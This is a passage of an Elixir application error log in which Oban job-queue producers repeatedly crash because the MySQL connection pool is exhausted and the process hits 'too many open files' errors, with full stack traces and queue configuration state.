#Reference<0.2525715032.1099169794.238363>, refresh_timer: #Reference<0.2525715032.1077411843.204264>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:45.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:38:33.242141Z], limit: 20, uuid: "03cb9745-da8e-4148-b861-caba9b005885", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:33.242147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.232297>, refresh_timer: #Reference<0.2525715032.1068236804.232296>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:38:33.240279Z], limit: 50, uuid: "2ba893c0-7a91-4716-95a9-f43f13b3be9b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:33.240284Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238364>, refresh_timer: #Reference<0.2525715032.1077411843.204271>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:38:33.240353Z], limit: 3, uuid: "e6b2cd14-3d96-4077-96f9-0ded67aaee91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:33.240358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238365>, refresh_timer: #Reference<0.2525715032.1077411843.204276>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:45.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:38:33.240209Z], limit: 5, uuid: "c10e30de-fe13-4da2-8fe7-56b563d75f39", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:33.240215Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.232298>, refresh_timer: #Reference<0.2525715032.1077411843.204275>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:46.463000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:48.974000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:50.689000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:50.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:51.101000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:51.959000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:54.993000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:56.529000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:56.846000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:38:45.245491Z], limit: 50, uuid: "1c4f1cfe-1979-430b-be75-7facae5b5760", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:45.245496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238790>, refresh_timer: #Reference<0.2525715032.1077411843.204329>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:38:45.243025Z], limit: 10, uuid: "68493621-fb9f-47d8-8b86-8f29edaf7f72", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:45.243031Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238734>, refresh_timer: #Reference<0.2525715032.1077411843.204297>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:38:45.245102Z], limit: 5, uuid: "d9a482a9-64b9-4682-8753-5b7a836b3558", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:45.245108Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238788>, refresh_timer: #Reference<0.2525715032.1099169794.238753>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:38:45.243365Z], limit: 20, uuid: "76bf04d5-c6ce-4961-ba37-d9b18bdde49d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:45.243371Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238739>, refresh_timer: #Reference<0.2525715032.1068236804.232361>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
